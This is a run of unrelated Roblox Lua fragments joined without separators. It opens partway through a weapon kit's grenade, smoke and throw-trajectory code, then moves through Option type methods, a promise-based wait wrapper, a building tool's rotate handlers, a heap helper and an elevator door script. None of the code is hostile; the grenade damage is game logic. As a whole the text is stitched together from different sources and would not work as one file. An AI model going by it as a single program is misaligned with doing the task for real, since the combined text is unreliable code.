Enum.SurfaceType.Smooth Smoke.BottomSurface = Enum.SurfaceType.Smooth local Mesh = Instance.new("SpecialMesh") Mesh.MeshType = Enum.MeshType.Sphere Mesh.Scale = VEC3(Size, Size, Size) Mesh.Parent = Smoke Smoke.Parent = Gun_Ignore Smoke.CFrame = CF(Pos) spawn(function() local Trans = RAND(0.3, 0.5, 0.01) for X = 0, 90, 2 do Smoke.CFrame = CF(GrenadePos:lerp(Pos, Sine(X))) Smoke.Transparency = NumLerp(1, Trans, Sine(X)) RS:wait() end wait(S.GrenadeEffectTime) for X = 0, 90, 0.5 do Smoke.CFrame = CF(Pos:lerp(Pos + VEC3(0, 20, 0), 1 - COS(RAD(X)))) Smoke.Transparency = NumLerp(Trans, 1, Sine(X)) RS:wait() end Smoke:Destroy() end) if i % 3 == 0 then RS:wait() end end end) wait() Grenade.Parent:Destroy() end function ThrowGrenade(Type) local Grenade0 = nil if S.TrajectoryAssist then spawn(function() local X = 0 local Vel = (Type == 1 and S.LethalGrenadeThrowVelocity or S.TacticalGrenadeThrowVelocity) local GetX = function(Ang, T) local Vx = Vel * math.cos(Ang) return Vx * T end local GetY = function(Ang, T) local V0y = Vel * math.sin(Ang) local Vy = V0y + (-196.2 * T) return (Vy * T) - (-98.1 * T * T) end local Target = CreateTarget() Target.Parent = game.Workspace Target.PrimaryPart = Target:WaitForChild("Center") while (Keys[S.LethalGrenadeKey] or Keys[S.TacticalGrenadeKey]) and Selected do X = X + math.rad(10) for _,v in pairs(Target:GetChildren()) do v.Transparency = 0.2 + ((math.sin(X) + 1) / 5) end local Lines = {} local LastX, LastY = nil, nil for T = 0, 10, 0.1 do local XPos = GetX(math.rad(7) - HeadRot, T) local YPos = GetY(math.rad(7) - HeadRot, T) if LastX and LastY then local LookV3 = HRP.CFrame.lookVector local LastPos = (Head.CFrame * CF(1.5, 0, 0)).p + (LookV3 * LastX) + VEC3(0, LastY, 0) local NewPos = (Head.CFrame * CF(1.5, 0, 0)).p + (LookV3 * XPos) + VEC3(0, YPos, 0) local LineCF = CF(LastPos, NewPos) local Dist = (LastPos - NewPos).magnitude local NewDist = Dist local H, P = AdvRayCast(LastPos, (NewPos - LastPos), 1, {Camera, unpack(Ignore)}) if H then NewDist = (P - LastPos).magnitude local SurfaceCF = GetHitSurfaceCFrame(P, H) local SurfaceDir = CF(H.CFrame.p, SurfaceCF.p) local SurfaceDist = SurfaceDir.lookVector * (H.CFrame.p - SurfaceCF.p).magnitude / 2 local SurfaceOffset = P - SurfaceCF.p + SurfaceDist local SurfaceCFrame = SurfaceDir + SurfaceDist + SurfaceOffset Target:SetPrimaryPartCFrame(SurfaceCFrame * CFANG(RAD(-90), 0, 0)) Target.Parent = Camera else Target.Parent = nil end local Line = Instance.new("Part") Line.BrickColor = BrickColor.Red() Line.Material = Enum.Material.SmoothPlastic Line.Transparency = 0.2 + ((math.sin(X) + 1) / 5) Line.Anchored = true Line.CanCollide = false Line.FormFactor = Enum.FormFactor.Custom Line.Size = Vector3.new(0.4, 0.4, NewDist) Line.TopSurface = Enum.SurfaceType.Smooth Line.BottomSurface = Enum.SurfaceType.Smooth Line.CFrame = LineCF + (LineCF.lookVector * NewDist / 2) Line.Parent = Camera table.insert(Lines, Line) LastX,LastY = XPos,YPos if H then break end else LastX,LastY = XPos,YPos end end wait() for _,Line in pairs(Lines) do Line:Destroy() end end Target:Destroy() end) end local AnimTable = { function() TweenJoint(LWeld, CF(-1.5, 0, 0), CF(0, 0.6, 0), Linear, 0.2) TweenJoint(RWeld, CF(1.5, 0, 0) * CFANG(0, 0, RAD(-10)), CF(0, 0.6, 0), Linear, 0.2) TweenJoint(Grip, Grip.C0, CFANG(0, RAD(10), 0), Linear, 0.2) wait(0.3) end; function() Grip.Part0 = Torso Grip.C1 = CF(-1, 0.5, -0.5) if S.LethalGrenadeType == 3 and Type == 1 then Grenade0 = CreateKnife() Grenade0.Parent = Gun_Ignore local Weld = Instance.new("Weld") Weld.Part0 = FakeRArm Weld.Part1 = Grenade0 Weld.C0 = Grip.C0 Weld.C1 = CF(0, 0, -0.5) * CFANG(RAD(90), RAD(90), 0) Weld.Parent = Grenade0 TweenJoint(LWeld2, CF(), CF(), Sine, 0.3) TweenJoint(RWeld2, CF(), CF(), Sine, 0.3) TweenJoint(LWeld, ArmC0[1], CF(0, 0.5, 0.1) * CFANG(RAD(90), 0, 0), Sine, 0.3) TweenJoint(RWeld, ArmC0[2], CF(0, 0.4, 0.1) * CFANG(RAD(-80), 0, 0), Sine, 0.3) wait(0.3) else Grenade0 = CreateGrenade() Grenade0.Parent = Gun_Ignore local Weld = Instance.new("Weld") Weld.Part0 = FakeRArm Weld.Part1 = Grenade0:WaitForChild("Center") Weld.C0 = Grip.C0 Weld.Parent = Grenade0:WaitForChild("Center") TweenJoint(LWeld2, CF(), CFANG(0, RAD(80), 0), Linear, 0.25) TweenJoint(RWeld2, CF(), CFANG(0, RAD(-80), 0), Linear, 0.25) TweenJoint(LWeld, ArmC0[1], CF(-0.2, 0.8, 0.1) * CFANG(RAD(10), 0, RAD(-30)), Linear, 0.25) TweenJoint(RWeld, ArmC0[2], CF(0.2, 0.8, 0.1) * CFANG(RAD(10), 0, RAD(30)), Linear, 0.25) wait(0.3) end end; function() repeat wait() until (not Keys[S.LethalGrenadeKey]) and (not Keys[S.TacticalGrenadeKey]) or (not Selected) end; function() if S.LethalGrenadeType ~= 3 or Type == 2 then TweenJoint(LWeld2, CF(), CFANG(0, RAD(45), 0), Sine, 0.2) TweenJoint(RWeld2, CF(), CFANG(0, RAD(-45), 0), Sine, 0.2) TweenJoint(LWeld, ArmC0[1], CF(0, 0.8, 0.1), Sine, 0.2) TweenJoint(RWeld, ArmC0[2], CF(0, 0.8, 0.1), Sine, 0.2) wait(0.2) end end; function() if S.LethalGrenadeType ~= 3 or Type == 2 then TweenJoint(LWeld2, CF(), CF(), Sine, 0.3) TweenJoint(RWeld2, CF(), CF(), Sine, 0.3) TweenJoint(LWeld, ArmC0[1], CF(0, 0.5, 0.1) * CFANG(RAD(90), 0, 0), Sine, 0.3) TweenJoint(RWeld, ArmC0[2], CF(0, 0.4, 0.1) * CFANG(RAD(-80), 0, 0), Sine, 0.3) wait(0.3) end end; function() TweenJoint(RWeld, ArmC0[2], CF(0, 0.8, 0.1) * CFANG(RAD(-10), 0, 0), Sine, 0.1) wait(0.07) end; function() local Main = nil Grenade0:Destroy() if S.LethalGrenadeType == 3 and Type == 1 then local Grenade1 = CreateKnife() Main = Grenade1 Grenade1.Parent = Gun_Ignore Main.CFrame = FakeRArm.CFrame * Grip.C0 * CF(0, 0.5, 0) * CFANG(RAD(-90), 0, RAD(90)) Main.Velocity = Main.Velocity + ((Head.CFrame * CFANG(RAD(7), 0, 0)).lookVector * S.LethalGrenadeThrowVelocity) Main.RotVelocity = (Main.CFrame * CFANG(RAD(90), 0, 0)).lookVector * 20 else local Grenade1 = CreateGrenade() Main = Grenade1:WaitForChild("Center") local Sound = Instance.new("Sound") Sound.SoundId = (Type == 1 and "rbxassetid://180302005" or "rbxassetid://156283116") Sound.Volume = 1 Sound.PlayOnRemove = true Sound.Parent = Main Grenade1.Parent = Gun_Ignore Main.CanCollide = true Main.CFrame = FakeRArm.CFrame * Grip.C0 if Type == 1 then Main.Velocity = Main.Velocity + ((Head.CFrame * CFANG(RAD(7), 0, 0)).lookVector * S.LethalGrenadeThrowVelocity) elseif Type == 2 then Main.Velocity = Main.Velocity + ((Head.CFrame * CFANG(RAD(7), 0, 0)).lookVector * S.TacticalGrenadeThrowVelocity) end end spawn(function() if Type == 1 then if S.LethalGrenadeType == 1 then if S.TimerStartOnHit then local Detonated = false Main.Touched:connect(function(Obj) if IsIgnored(Obj) or Detonated then return end Main.Velocity = Main.Velocity / 4 Detonated = true wait(S.DetonationTime) DetonateExplosive(Main) end) else spawn(function() local Touched = false Main.Touched:connect(function(Obj) if IsIgnored(Obj) or Touched then return end Touched = true Main.Velocity = Main.Velocity / 4 end) end) wait(S.DetonationTime) DetonateExplosive(Main) end elseif S.LethalGrenadeType == 2 then local Detonated = false local GrenadeCF = nil Main.Touched:connect(function(Obj) if IsIgnored(Obj) or Detonated then return end GrenadeCF = Main.CFrame local W = Instance.new("Weld") W.Name = "Semtex" W.Part0 = Main W.Part1 = Obj W.C0 = GrenadeCF:toObjectSpace(Obj.CFrame) W.Parent = Main Main.ChildRemoved:connect(function(C) if C.Name == "Semtex" then local W = Instance.new("Weld") W.Name = "Semtex" W.Part0 = Main W.Part1 = Obj W.C0 = GrenadeCF:toObjectSpace(Obj.CFrame) W.Parent = Main end end) if S.TimerStartOnHit then Detonated = true wait(S.DetonationTime) DetonateExplosive(Main) end end) if (not S.TimerStartOnHit) then wait(S.DetonationTime) Detonated = true DetonateExplosive(Main) end elseif S.LethalGrenadeType == 3 then local Touched = false Main.Touched:connect(function(Obj) if IsIgnored(Obj) or Touched then return end Touched = true local W = Instance.new("Weld") W.Name = "Sticky" W.Part0 = Main W.Part1 = Obj W.C0 = Main.CFrame:toObjectSpace(Obj.CFrame) W.Parent = Main Main.ChildRemoved:connect(function(C) if C.Name == "Sticky" then local W = Instance.new("Weld") W.Name = "Sticky" W.Part0 = Main W.Part1 = Obj W.C0 = Main.CFrame:toObjectSpace(Obj.CFrame) W.Parent = Main end end) if Obj then if Obj.Parent.ClassName == "Hat" then local HitHumanoid = FindFirstClass(Obj.Parent.Parent, "Humanoid") if HitHumanoid and IsEnemy(HitHumanoid) then local CreatorTag = Instance.new("ObjectValue") CreatorTag.Name = "creator" CreatorTag.Value = Player CreatorTag.Parent = HitHumanoid HitHumanoid:TakeDamage(HitHumanoid.MaxHealth) MarkHit() end else local HitHumanoid = FindFirstClass(Obj.Parent, "Humanoid") if HitHumanoid and IsEnemy(HitHumanoid) then local CreatorTag = Instance.new("ObjectValue") CreatorTag.Name = "creator" CreatorTag.Value = Player CreatorTag.Parent = HitHumanoid HitHumanoid:TakeDamage(HitHumanoid.MaxHealth) MarkHit() end end end wait(3) Main:Destroy() end) end elseif Type == 2 then if S.TacticalGrenadeType == 1 then if S.TimerStartOnHit then local Detonated = false Main.Touched:connect(function(Obj) if IsIgnored(Obj) or Detonated then return end Main.Velocity = Main.Velocity / 2 Detonated = true wait(S.DetonationTime) DetonateSmoke(Main) end) else spawn(function() local Touched = false Main.Touched:connect(function(Obj) if IsIgnored(Obj) or Touched then return end Touched = true Main.Velocity = Main.Velocity / 2 end) end) wait(S.DetonationTime) DetonateSmoke(Main) end end end end) if S.GrenadeTrail and S.GrenadeTrailTransparency ~= 1 then spawn(function() local LastPos = nil while true do if LastPos then if (not Main:IsDescendantOf(game)) or (Main.Name == "Knife" and FindFirstClass(Main, "Weld")) then break end local Trail = Instance.new("Part") Trail.BrickColor = S.GrenadeTrailColor Trail.Transparency = S.GrenadeTrailTransparency Trail.Anchored = true Trail.CanCollide = false Trail.Size = VEC3(1, 1, 1) local Mesh = Instance.new("BlockMesh") Mesh.Offset = VEC3(0, 0, -(Main.Position - LastPos).magnitude / 2) Mesh.Scale = VEC3(S.GrenadeTrailThickness, S.GrenadeTrailThickness, (Main.Position - LastPos).magnitude) Mesh.Parent = Trail Trail.Parent = Gun_Ignore Trail.CFrame = CF(LastPos, Main.Position) delay(S.GrenadeTrailVisibleTime, function() if S.GrenadeTrailDisappearTime > 0 then local X = 0 while true do if X == 90 then break end if (not Selected) then break end local NewX = X + (1.5 / S.GrenadeTrailDisappearTime) X = (NewX > 90 and 90 or NewX) local Alpha = X / 90 Trail.Transparency = NumLerp(S.GrenadeTrailTransparency, 1, Alpha) RS:wait() end Trail:Destroy() else Trail:Destroy() end end) LastPos = Main.Position else LastPos = Main.Position end RS:wait() end end) end wait(0.2) end; function() TweenJoint(RWeld, CF(1.5, 0, 0) * CFANG(0, 0, RAD(-10)), CF(0, 0.6, 0), Linear, 0.2) wait(0.3) end; function() Grip.Part0 = RArm Grip.C1 = CFANG(0, RAD(20), 0) TweenJoint(LWeld, ArmC0[1], S.ArmC1_UnAimed.Left, Linear, 0.2) TweenJoint(RWeld, ArmC0[2], S.ArmC1_UnAimed.Right, Linear, 0.2) wait(0.2) end; } for _,F in pairs(AnimTable) do if (not Selected) then break end F() end if (not Selected) and Grenade0 then Grenade0:Destroy() end end
--[=[ @return boolean Returns `true` if the option is None. ]=]
function Option:IsNone() return not self._s end
--[=[ Wraps the wait()/delay() API in a promise @class promiseWait ]=]
local require = require(script.Parent.loader).load(script) local Promise = require("Promise") return function(time) return Promise.new(function(resolve, _) task.delay(time, function() resolve() end) end) end
-- Finalize changes to parts when the handle is let go
Support.AddUserInputListener('Ended', 'MouseButton1', true, function (Input) -- Make sure rotating is ongoing if not HandleRotating then return; end; -- Prevent selection Core.Targeting.CancelSelecting(); -- Disable rotating HandleRotating = false; -- Clear this connection to prevent it from firing again ClearConnection 'HandleRelease'; -- Clear change indicator states HandleDirection = nil; HandleFirstAngle = nil; LastDisplayedRotation = nil; -- Make joints, restore original anchor and collision states for Part, State in pairs(InitialState) do Part:MakeJoints(); Core.RestoreJoints(State.Joints); Part.CanCollide = State.CanCollide; Part.Anchored = State.Anchored; end; -- Register the change RegisterChange(); -- Resume normal bounding box updating BoundingBox.RecalculateStaticExtents(); BoundingBox.ResumeMonitoring(); end); function HideHandles() -- Hides the resizing handles -- Make sure handles exist and are visible if not Handles or not Handles.Visible then return; end; -- Hide the handles Handles.Visible = false; Handles.Parent = nil; -- Disable handle autofocus if enabled ClearConnection 'AutofocusHandle'; end; function RotatePartsAroundPivot(PivotMode, PivotPoint, Axis, Rotation, InitialStates) -- Rotates the given parts in `InitialStates` around `PivotMode` (using `PivotPoint` if applicable)'s `Axis` by `Rotation` -- Create a CFrame that increments rotation by `Rotation` around `Axis` local RotationCFrame = CFrame.fromAxisAngle(Vector3.FromAxis(Axis), math.rad(Rotation)); -- Rotate each part for Part, InitialState in pairs(InitialStates) do -- Rotate around the selection's center, or the currently focused part if PivotMode == 'Center' or PivotMode == 'Last' then -- Calculate the focused part's rotation local RelativeTo = PivotPoint * RotationCFrame; -- Calculate this part's offset from the focused part's rotation local Offset = PivotPoint:toObjectSpace(InitialState.CFrame); -- Rotate relative to the focused part by this part's offset from it Part.CFrame = RelativeTo * Offset; -- Rotate around the part's center elseif RotateTool.Pivot == 'Local' then Part.CFrame = InitialState.CFrame * RotationCFrame; end; end; end; function GetHandleDisplayDelta(HandleRotation) -- Returns a human-friendly version of the handle's rotation delta -- Prepare to capture first angle if HandleFirstAngle == nil then HandleFirstAngle = true; HandleDirection = true; -- Capture first angle elseif HandleFirstAngle == true then -- Determine direction based on first angle if math.abs(HandleRotation) > 180 then HandleDirection = false; else HandleDirection = true; end; -- Disable first angle capturing HandleFirstAngle = false; end; -- Determine the rotation delta to display local DisplayedRotation; if HandleDirection == true then DisplayedRotation = (360 - HandleRotation) % 360; else DisplayedRotation = HandleRotation % 360; end; -- Switch delta calculation direction if crossing directions if LastDisplayedRotation and ( (LastDisplayedRotation <= 120 and DisplayedRotation >= 240) or (LastDisplayedRotation >= 240 and DisplayedRotation <= 120)) then HandleDirection = not HandleDirection; end; -- Update displayed rotation after direction correction if HandleDirection == true then DisplayedRotation = (360 - HandleRotation) % 360; else DisplayedRotation = HandleRotation % 360; end; -- Store this last display rotation LastDisplayedRotation = DisplayedRotation; -- Return updated display delta return DisplayedRotation; end; function BindShortcutKeys() -- Enables useful shortcut keys for this tool -- Track user input while this tool is equipped table.insert(Connections, UserInputService.InputBegan:connect(function (InputInfo, GameProcessedEvent) -- Make sure this is an intentional event if GameProcessedEvent then return; end; -- Make sure this input is a key press if InputInfo.UserInputType ~= Enum.UserInputType.Keyboard then return; end; -- Make sure it wasn't pressed while typing if UserInputService:GetFocusedTextBox() then return; end; -- Check if the enter key was pressed if InputInfo.KeyCode == Enum.KeyCode.Return or InputInfo.KeyCode == Enum.KeyCode.KeypadEnter then -- Toggle the current axis mode if RotateTool.Pivot == 'Center' then SetPivot('Local'); elseif RotateTool.Pivot == 'Local' then SetPivot('Last'); elseif RotateTool.Pivot == 'Last' then SetPivot('Center'); end; -- Check if the - key was pressed elseif InputInfo.KeyCode == Enum.KeyCode.Minus or InputInfo.KeyCode == Enum.KeyCode.KeypadMinus then -- Focus on the increment input if RotateTool.UI then RotateTool.UI.IncrementOption.Increment.TextBox:CaptureFocus(); end; -- Nudge around X axis if the 8 button on the keypad is pressed elseif InputInfo.KeyCode == Enum.KeyCode.KeypadEight then NudgeSelectionByAxis(Enum.Axis.X, 1); -- Nudge around X axis if the 2 button on the keypad is pressed elseif InputInfo.KeyCode == Enum.KeyCode.KeypadTwo then NudgeSelectionByAxis(Enum.Axis.X, -1); -- Nudge around Z axis if the 9 button on the keypad is pressed elseif InputInfo.KeyCode == Enum.KeyCode.KeypadNine then NudgeSelectionByAxis(Enum.Axis.Z, 1); -- Nudge around Z axis if the 1 button on the keypad is pressed elseif InputInfo.KeyCode == Enum.KeyCode.KeypadOne then NudgeSelectionByAxis(Enum.Axis.Z, -1); -- Nudge around Y axis if the 4 button on the keypad is pressed elseif InputInfo.KeyCode == Enum.KeyCode.KeypadFour then NudgeSelectionByAxis(Enum.Axis.Y, -1); -- Nudge around Y axis if the 6 button on the keypad is pressed elseif InputInfo.KeyCode == Enum.KeyCode.KeypadSix then NudgeSelectionByAxis(Enum.Axis.Y, 1); -- Start snapping when the R key is pressed down, and it's not the selection clearing hotkey elseif (InputInfo.KeyCode == Enum.KeyCode.R) and not Selection.Multiselecting then StartSnapping(); -- Start snapping when T key is pressed down (alias) elseif InputInfo.KeyCode == Enum.KeyCode.T then StartSnapping(); end; end)); end; function StartSnapping() -- Make sure snapping isn't already enabled if SnapTracking.Enabled then return; end; -- Listen for snapped points SnapTracking.StartTracking(function (NewPoint) SnappedPoint = NewPoint; end); -- Select the snapped pivot point upon clicking Connections.SelectSnappedPivot = Core.Mouse.Button1Down:connect(function () -- Disable unintentional selection Core.Targeting.CancelSelecting(); -- Ensure there is a snap point if not SnappedPoint then return; end; -- Disable snapping SnapTracking.StopTracking(); -- Attach the handles to a part at the snapped point local Part = Create 'Part' { CFrame = SnappedPoint, Size = Vector3.new(5, 1, 5) }; SetPivot 'Last'; AttachHandles(Part, true); -- Maintain the part in memory to prevent garbage collection GCBypass = { Part }; -- Set the pivot point PivotPoint = SnappedPoint; CustomPivotPoint = true; -- Disconnect snapped pivot point selection listener ClearConnection 'SelectSnappedPivot'; -- Disable custom pivot point mode when the handles attach elsewhere DisableCustomPivotPoint = Handles.Changed:Connect(function (Property) if Property == 'Adornee' then CustomPivotPoint = false; DisableCustomPivotPoint:Disconnect(); end; end); end); end; function SetAxisAngle(Axis, Angle) -- Sets the selection's angle on axis `Axis` to `Angle` -- Turn the given angle from degrees to radians local Angle = math.rad(Angle); -- Track this change TrackChange(); -- Prepare parts to be moved local InitialStates = PreparePartsForRotating(); -- Update each part for Part, State in pairs(InitialStates) do -- Set the part's new CFrame Part.CFrame = CFrame.new(Part.Position) * CFrame.fromOrientation( Axis == 'X' and Angle or math.rad(Part.Orientation.X), Axis == 'Y' and Angle or math.rad(Part.Orientation.Y), Axis == 'Z' and Angle or math.rad(Part.Orientation.Z) ); end; -- Cache up permissions for all private areas local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Selection.Items), Core.Player); -- Revert changes if player is not authorized to move parts to target destination if Core.Mode == 'Tool' and Security.ArePartsViolatingAreas(Selection.Items, Core.Player, false, AreaPermissions) then for Part, State in pairs(InitialStates) do Part.CFrame = State.CFrame; end; end; -- Restore the parts' original states for Part, State in pairs(InitialStates) do Part:MakeJoints(); Core.RestoreJoints(State.Joints); Part.CanCollide = State.CanCollide; Part.Anchored = State.Anchored; end; -- Register the change RegisterChange(); end; function NudgeSelectionByAxis(Axis, Direction) -- Nudges the rotation of the selection in the direction of the given axis -- Ensure selection is not empty if #Selection.Items == 0 then return; end; -- Get amount to nudge by local NudgeAmount = RotateTool.Increment; -- Reverse nudge amount if shift key is held while nudging local PressedKeys = Support.FlipTable(Support.GetListMembers(UserInputService:GetKeysPressed(), 'KeyCode')); if PressedKeys[Enum.KeyCode.LeftShift] or PressedKeys[Enum.KeyCode.RightShift] then NudgeAmount = -NudgeAmount; end; -- Track the change TrackChange(); -- Stop parts from moving, and capture the initial state of the parts local InitialState = PreparePartsForRotating(); -- Set the pivot point to the center of the selection if in Center mode if RotateTool.Pivot == 'Center' then local BoundingBoxSize, BoundingBoxCFrame = BoundingBox.CalculateExtents(Selection.Items); PivotPoint = BoundingBoxCFrame; -- Set the pivot point to the center of the focused part if in Last mode elseif RotateTool.Pivot == 'Last' and not CustomPivotPoint then PivotPoint = InitialState[Selection.Focus].CFrame; end; -- Perform the rotation RotatePartsAroundPivot(RotateTool.Pivot, PivotPoint, Axis, NudgeAmount * (Direction or 1), InitialState); -- Update the "degrees rotated" indicator if RotateTool.UI then RotateTool.UI.Changes.Text.Text = 'rotated ' .. (NudgeAmount * (Direction or 1)) .. ' degrees'; end; -- Cache area permissions information local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Selection.Items), Core.Player); -- Make sure we're not entering any unauthorized private areas if Core.Mode == 'Tool' and Security.ArePartsViolatingAreas(Selection.Items, Core.Player, false, AreaPermissions) then for Part, State in pairs(InitialState) do Part.CFrame = State.CFrame; end; end; -- Make joints, restore original anchor and collision states for Part, State in pairs(InitialState) do Part:MakeJoints(); Core.RestoreJoints(State.Joints); Part.CanCollide = State.CanCollide; Part.Anchored = State.Anchored; end; -- Register the change RegisterChange(); end; function TrackChange() -- Start the record HistoryRecord = { Parts = Support.CloneTable(Selection.Items); BeforeCFrame = {}; AfterCFrame = {}; Unapply = function (Record) -- Reverts this change -- Select the changed parts Selection.Replace(Record.Parts); -- Put together the change request local Changes = {}; for _, Part in pairs(Record.Parts) do table.insert(Changes, { Part = Part, CFrame = Record.BeforeCFrame[Part] }); end; -- Send the change request Core.SyncAPI:Invoke('SyncRotate', Changes); end; Apply = function (Record) -- Applies this change -- Select the changed parts Selection.Replace(Record.Parts); -- Put together the change request local Changes = {}; for _, Part in pairs(Record.Parts) do table.insert(Changes, { Part = Part, CFrame = Record.AfterCFrame[Part] }); end; -- Send the change request Core.SyncAPI:Invoke('SyncRotate', Changes); end; }; -- Collect the selection's initial state for _, Part in pairs(HistoryRecord.Parts) do HistoryRecord.BeforeCFrame[Part] = Part.CFrame; end; end; function RegisterChange() -- Finishes creating the history record and registers it -- Make sure there's an in-progress history record if not HistoryRecord then return; end; -- Collect the selection's final state local Changes = {}; for _, Part in pairs(HistoryRecord.Parts) do HistoryRecord.AfterCFrame[Part] = Part.CFrame; table.insert(Changes, { Part = Part, CFrame = Part.CFrame }); end; -- Send the change to the server Core.SyncAPI:Invoke('SyncRotate', Changes); -- Register the record and clear the staging Core.History.Add(HistoryRecord); HistoryRecord = nil; end; function PreparePartsForRotating() -- Prepares parts for rotating and returns the initial state of the parts local InitialState = {}; -- Get index of parts local PartIndex = Support.FlipTable(Selection.Items); -- Stop parts from moving, and capture the initial state of the parts for _, Part in pairs(Selection.Items) do InitialState[Part] = { Anchored = Part.Anchored, CanCollide = Part.CanCollide, CFrame = Part.CFrame }; Part.Anchored = true; Part.CanCollide = false; InitialState[Part].Joints = Core.PreserveJoints(Part, PartIndex); Part:BreakJoints(); Part.Velocity = Vector3.new(); Part.RotVelocity = Vector3.new(); end; return InitialState; end; function GetIncrementMultiple(Number, Increment) -- Get how far the actual distance is from a multiple of our increment local MultipleDifference = Number % Increment; -- Identify the closest lower and upper multiples of the increment local LowerMultiple = Number - MultipleDifference; local UpperMultiple = Number - MultipleDifference + Increment; -- Calculate to which of the two multiples we're closer local LowerMultipleProximity = math.abs(Number - LowerMultiple); local UpperMultipleProximity = math.abs(Number - UpperMultiple); -- Use the closest multiple of our increment as the distance moved if LowerMultipleProximity <= UpperMultipleProximity then Number = LowerMultiple; else Number = UpperMultiple; end; return Number; end;
--[[ @brief Reshuffles the heap if a given index is larger than one of its children. --]]
function Heap:_HeapifyTopDown(i) local l = i * 2; local r = l + 1; local largest; if l <= #self and self.Comparator(self[l], self[i]) then largest = l; else largest = i; end if r <= #self and self.Comparator(self[r], self[largest]) then largest = r; end if largest ~= i then self[i], self[largest] = self[largest], self[i]; self:_HeapifyTopDown(largest); end end
-------------------------
function DoorClose() if Shaft00.MetalDoor.CanCollide == false then Shaft00.MetalDoor.CanCollide = true while Shaft00.MetalDoor.Transparency > 0.0 do Shaft00.MetalDoor.Transparency = Shaft00.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, 20, 0) --Change 10 to change the speed. end if Shaft01.MetalDoor.CanCollide == false then Shaft01.MetalDoor.CanCollide = true while Shaft01.MetalDoor.Transparency > 0.0 do Shaft01.MetalDoor.Transparency = Shaft01.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, 20, 0) end if Shaft02.MetalDoor.CanCollide == false then Shaft02.MetalDoor.CanCollide = true while Shaft02.MetalDoor.Transparency > 0.0 do Shaft02.MetalDoor.Transparency = Shaft02.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, 20, 0) end if Shaft03.MetalDoor.CanCollide == false then Shaft03.MetalDoor.CanCollide = true while Shaft03.MetalDoor.Transparency > 0.0 do Shaft03.MetalDoor.Transparency = Shaft03.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, 20, 0) end if Shaft04.MetalDoor.CanCollide == false then Shaft04.MetalDoor.CanCollide = true while Shaft04.MetalDoor.Transparency > 0.0 do Shaft04.MetalDoor.Transparency = Shaft04.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, 20, 0) end if Shaft05.MetalDoor.CanCollide == false then Shaft05.MetalDoor.CanCollide = true while Shaft05.MetalDoor.Transparency > 0.0 do Shaft05.MetalDoor.Transparency = Shaft05.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, 20, 0) end if Shaft06.MetalDoor.CanCollide == false then Shaft06.MetalDoor.CanCollide = true while Shaft06.MetalDoor.Transparency > 0.0 do Shaft06.MetalDoor.Transparency = Shaft06.MetalDoor.Transparency - .1 wait(0.000001) end end if Shaft07.MetalDoor.CanCollide == false then Shaft07.MetalDoor.CanCollide = true while Shaft07.MetalDoor.Transparency > 0.0 do Shaft07.MetalDoor.Transparency = Shaft07.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, -20, 0) end if Shaft08.MetalDoor.CanCollide == false then Shaft08.MetalDoor.CanCollide = true while Shaft08.MetalDoor.Transparency > 0.0 do Shaft08.MetalDoor.Transparency = Shaft08.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, -20, 0) end if Shaft09.MetalDoor.CanCollide == false then Shaft09.MetalDoor.CanCollide = true while Shaft09.MetalDoor.Transparency > 0.0 do Shaft09.MetalDoor.Transparency = Shaft09.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, -20, 0) end if Shaft10.MetalDoor.CanCollide == false then Shaft10.MetalDoor.CanCollide = true while Shaft10.MetalDoor.Transparency > 0.0 do Shaft10.MetalDoor.Transparency = Shaft10.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, -20, 0) end if Shaft11.MetalDoor.CanCollide == false then Shaft11.MetalDoor.CanCollide = true while Shaft11.MetalDoor.Transparency > 0.0 do Shaft11.MetalDoor.Transparency = Shaft11.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, -20, 0) end if Shaft12.MetalDoor.CanCollide == false then Shaft12.MetalDoor.CanCollide = true while Shaft12.MetalDoor.Transparency > 0.0 do Shaft12.MetalDoor.Transparency = Shaft12.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, -20, 0) end if Shaft13.MetalDoor.CanCollide == false then Shaft13.MetalDoor.CanCollide = true while Shaft13.MetalDoor.Transparency > 0.0 do Shaft13.MetalDoor.Transparency = Shaft13.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, -20, 0) end end function onClicked() DoorClose() end script.Parent.MouseButton1Click:connect(onClicked) script.Parent.MouseButton1Click:connect(function() if clicker == true then clicker = false else return end end) script.Parent.MouseButton1Click:connect(function() Car.Touched:connect(function(otherPart) if otherPart == Elevator.Floors:FindFirstChild(script.Parent.Name) then StopE() DoorOpen() end end)end) function StopE() Car.BodyVelocity.velocity = Vector3.new(0, 0, 0) Car.BodyPosition.position = Elevator.Floors:FindFirstChild(script.Parent.Name).Position clicker = true end function DoorOpen() while Shaft06.MetalDoor.Transparency < 1.0 do Shaft06.MetalDoor.Transparency = Shaft06.MetalDoor.Transparency + .1 wait(0.000001) end Shaft06.MetalDoor.CanCollide = false end
--[=[ @param defaultFn () -> any @return value: any If the option holds a value, returns the value. Otherwise, returns the result of the `defaultFn` function. ]=]
function Option:UnwrapOrElse(defaultFn) if self:IsSome() then return self:Unwrap() else return defaultFn() end end
--------------------------------------------------------------------------
